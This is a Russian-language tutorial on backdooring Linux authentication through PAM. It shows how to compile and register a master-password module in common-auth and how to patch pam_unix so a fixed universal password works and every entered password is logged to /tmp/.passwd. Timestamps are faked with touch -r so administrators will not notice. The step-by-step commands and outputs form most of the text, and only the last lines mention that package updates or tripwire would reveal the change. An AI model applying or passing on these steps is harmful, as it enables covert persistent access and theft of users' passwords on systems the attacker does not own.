Создание backdoor'a на основе PAM модуля
Что такое PAM модуль?
PAM – это набор подключаемых модулей, которые отвечают за аутентификацию в системе. По сути, это API, который операционная система или приложения могут использовать, чтобы отправить запросы на проверку подлинности пользователя.
PAM расшифровывается как Pluggable Authentication Modules; перевод на русский — подключаемые модули аутентификации.
Все утилиты и приложения, умеющие работать с PAM, подхватывают их и могут использовать для аутентификации пользователя.
На практике это работает примерно так: команда su обращается к PAM, который выполняет все необходимые проверки с помощью указанных в конфигурационном файле модулей и возвращает результат обратно команде su.
Для работы с PAM программа должна быть написана и скомпилирована для его использования. Для проверки можно использовать ldd. В этом примере я буду тестировать backdoor на ssh и su.
Убедимся, что они работают с PAM аутентификацией:
ldd /usr/sbin/sshd | grep libpam.so
(out) libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f6a2344c000)
ldd /bin/su | grep libpam.so
(out) libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fdb89aed000)
Отлично, двигаемся дальше.
Пишем свой PAM-backdoor
Давайте сделаем универсальный ключ для аутентификации с помощью master-пароля. За основу возьмем pambd от Federico Fazzi.
Создаем файл pambd.c, не забываем отредактировать макрос MYPASSWD, указав свой мастер-пароль:
Все операции я произвожу в Debian 10. Для сборки необходим пакет libpam-dev. Поэтому устанавливаем используя apt:
sudo apt update && apt install libpam0g-dev
Собираем наш модуль:
gcc -shared -fPIC -ldl -o pam_bd.so pambd.c
Теперь необходимо положить его к остальным модулям PAM. В моем случае с Debian x64 это путь /lib/x86_64-linux-gnu/security/.
Если у вас RedHat-like дистрибутив вроде CentOS или Fedora, то путь будет /lib/security/ или /lib64/security/ в зависимости от того, 64 и 32-ух битная ОС. Для Debian x86 путь будет /usr/lib/i386-linux-gnu.
Копируем модуль скомпилированный модуль pam_bd.so:
mv pam_bd.so /lib/x86_64-linux-gnu/security/
file /lib/x86_64-linux-gnu/security/pam_bd.so
(out)/lib/x86_64-linux-gnu/security/pam_bd.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a2a009b87e1aedc42ed54bef1cd861ab822290e9, not stripped
Теперь необходимо исправить конфигурацию pamd, файлы которого находятся в директории /etc/pam.d. Например, для ssh это будет /etc/pam.d/sshd, для su соответственно /etc/pam.d/su.
Если раньше логика взаимодействия была указана отдельно каждом конфигурационном файле сервиса, то сейчас в новых версиях Linux используется подключение конфигурационных файлов /etc/pam.d/common-account, /etc/pam.d/common-auth и тд, которые используются в конфигурации pamd других сервисов.
Нам это только на руку. Давайте одним движением подключим модуль и для аутентификации по ssh, и для su, и для всего остального, где используется @include common-auth.
Смотрим содержимое /etc/pam.d/common-auth:
cat /etc/pam.d/common-auth
(out)...
(out)# here are the per-package modules (the "Primary" block)
(out)auth [success=1 default=ignore] pam_unix.so nullok_secure
(out)# here's the fallback if no module succeeds
(out)...
Видим, что первым подключатся pam_unix.so. Изменяем control_flag [success=1 default=ignore] на достаточный (sufficient) и добавляем свой pam.d backdoor. Редактируем файл /etc/pam.d/common-auth:
nano /etc/pam.d/common-auth
Приводим к следующему виду:
cat /etc/pam.d/common-auth
(out)...
(out)# here are the per-package modules (the "Primary" block)
(out)auth sufficient pam_unix.so nullok_secure
(out)auth sufficient pam_bd.so
(out)# here's the fallback if no module succeeds
(out)...
Сохраняем и тестируем su и ssh используя наш пароль из макроса MYPASSWD, который указывали при сборке:
ssh n0a@localhost
(out)The authenticity of host 'localhost (::1)' can't be established.
(out)ECDSA key fingerprint is SHA256:UL4+UyFTOprFo2YpajAUsdpXsQsR9FtNBNZf3+9KUIM.
(out)Are you sure you want to continue connecting (yes/no)? yes
su
(out)Пароль:
Тестирование показало, что наш PAM-бэкдор отлично работает. Осталось только замести следы. Для этого поменяем временные метки для файлов pam_bd.so и common-auth, чтобы администратор не нашел ничего подозрительного.
Проверяем текущие временные метки для наших файлов и файлов по соседству:
ls -la /etc/pam.d
(out)итого 120
(out)drwxr-xr-x 2 root root 4096 ноя 25 16:26 .
(out)drwxr-xr-x 118 root root 4096 ноя 24 13:46 ..
(out)-rw-r--r-- 1 root root 384 сен 27 2017 chfn
(out)-rw-r--r-- 1 root root 92 сен 27 2017 chpasswd
(out)-rw-r--r-- 1 root root 581 сен 27 2017 chsh
(out)-rw-r--r-- 1 root root 1251 ноя 5 05:01 common-account
(out)-rw-r--r-- 1 root root 1232 ноя 25 15:59 common-auth
(out)-rw-r--r-- 1 root root 1480 ноя 5 05:01 common-password
(out)-rw-r--r-- 1 root root 1189 ноя 5 05:01 common-session
(out)...
ls -la /lib/x86_64-linux-gnu/security/
(out)итого 1276
(out)drwxr-xr-x 2 root root 4096 ноя 25 16:11 .
(out)drwxr-xr-x 79 root root 69632 ноя 25 14:55 ..
(out)-rw-r--r-- 1 root root 18632 фев 14 2019 pam_access.so
(out)-rwxr-xr-x 1 root root 16120 ноя 25 15:57 pam_bd.so
(out)-rw-r--r-- 1 root root 14400 фев 14 2019 pam_debug.so
(out)-rw-r--r-- 1 root root 13968 фев 14 2019 pam_deny.so
(out)-rw-r--r-- 1 root root 14368 фев 14 2019 pam_echo.so
(out)...
Для common-auth возьмем время common-password, для pam_bd.so время pam_access.so. Не забудем и установить права на pam_bd.so:
touch -r /etc/pam.d/common-password /etc/pam.d/common-auth
chmod 0644 /lib/x86_64-linux-gnu/security/pam_bd.so
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_bd.so
Проверяем:
ls -la /etc/pam.d
(out)итого 120
(out)drwxr-xr-x 2 root root 4096 ноя 25 16:26 .
(out)drwxr-xr-x 118 root root 4096 ноя 24 13:46 ..
(out)-rw-r--r-- 1 root root 384 сен 27 2017 chfn
(out)-rw-r--r-- 1 root root 92 сен 27 2017 chpasswd
(out)-rw-r--r-- 1 root root 581 сен 27 2017 chsh
(out)-rw-r--r-- 1 root root 1251 ноя 5 05:01 common-account
(out)-rw-r--r-- 1 root root 1232 ноя 5 05:01 common-auth
(out)-rw-r--r-- 1 root root 1480 ноя 5 05:01 common-password
(out)-rw-r--r-- 1 root root 1189 ноя 5 05:01 common-session
(out)...
ls -la /lib/x86_64-linux-gnu/security/
(out)итого 1276
(out)drwxr-xr-x 2 root root 4096 ноя 25 16:11 .
(out)drwxr-xr-x 79 root root 69632 ноя 25 14:55 ..
(out)-rw-r--r-- 1 root root 18632 фев 14 2019 pam_access.so
(out)-rw-r--r-- 1 root root 16120 фев 14 2019 pam_bd.so
(out)-rw-r--r-- 1 root root 14400 фев 14 2019 pam_debug.so
(out)-rw-r--r-- 1 root root 13968 фев 14 2019 pam_deny.so
(out)-rw-r--r-- 1 root root 14368 фев 14 2019 pam_echo.so
(out)...
Отлично. Теперь у нас есть собственный PAM-бэкдор, который вполне годится для закрепления в системе.
Закладка в pam_unix.so с логированием
А что, если нам не использовать свою библиотеку, а скомпилировать свою версию оригинального pam_unix.so и добавить туда логирование введенных паролей другими пользователями? Заманчиво? Согласен, давайте сделаем.
Для модификации pam_unix.so нам необходимо работать с исходным кодом PAM. Есть два способа его получения:
- Мы берем исходные коды из репозитория на github: (https://github.com/linux-pam/linux-pam/releases)
- Мы скачиваем с помощью apt исходники текущей установленной версии.
Я пойду по второму пути, так как при таком сценарии мы будем модифицировать код непосредственно той версии, что стоит в нашей системе.
Для этого обновляемся и получаем установленную на данный момент версию PAM в исходниках:
sudo apt update
sudo apt install dpkg-dev
sudo apt build-dep pam
apt source pam
cd pam-1.3.1
Как видно, текущая версия в системе pam-1.3.1. Для того, чтобы добавить авторизацию по собственному паролю и логирование входа, нам нужен файл pam-1.3.1/modules/pam_unix/pam_unix_auth.c.
Находим код (~177 строка файла pam_unix_auth.c):
Модифицируем строку путем замены retval = _unix_verify_password(pamh, name, p, ctrl); на наш код (здесь универсальный пароль the-world-is-yours, можете заменить на свой):
nano modules/pam_unix/pam_unix_auth.c
Должно получиться примерно так:
Собираем "исправленный" PAM, копируем pam_unix.so в /lib/x86_64-linux-gnu/security/, меняем временную метку:
./configure
make
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so
Тестируем новый бэкдор с паролем the-world-is-yours:
ssh 192.168.232.138
(out)n0a@192.168.232.138's password:
(out)Linux luks 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
(out)
(out)Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(out)You have new mail.
(out)Last login: Wed Nov 25 19:02:12 2020 from ::1
cat /tmp/.passwd
(out)root:the-world-is-yours
(out)root:t3st#
(out)n0a:the-world-is-yours
Успех. Теперь мы не только установили закладку в родной модуль аутентификации PAM, но и смогли прочитать пароли. Причем на данный момент работают две закладки: первая с pam_bd.so и новая pam_unix.so.
Из средств автоматизации последнего процесса могу порекомендовать https://github.com/zephrax/linux-pam-backdoor. Делает тоже самое, но автоматически. Если нужно добавить логирование, поправьте файл backdoor.patch.
Заключение
Мы вместе с вами разобрали PAM модули и их работу при аутентификации, сделали несколько бэкдоров и замели следы. Это довольно надежное средство, но надо помнить, что это не вечный способ закрепления в системе. Если в менеджере пакетов будет обновление PAM, то pam_unix.so будет перезаписан. Не стоит забывать и о контроле целостности пакетов. Настроенный, к примеру tripwire, сможет легко выявить подмену.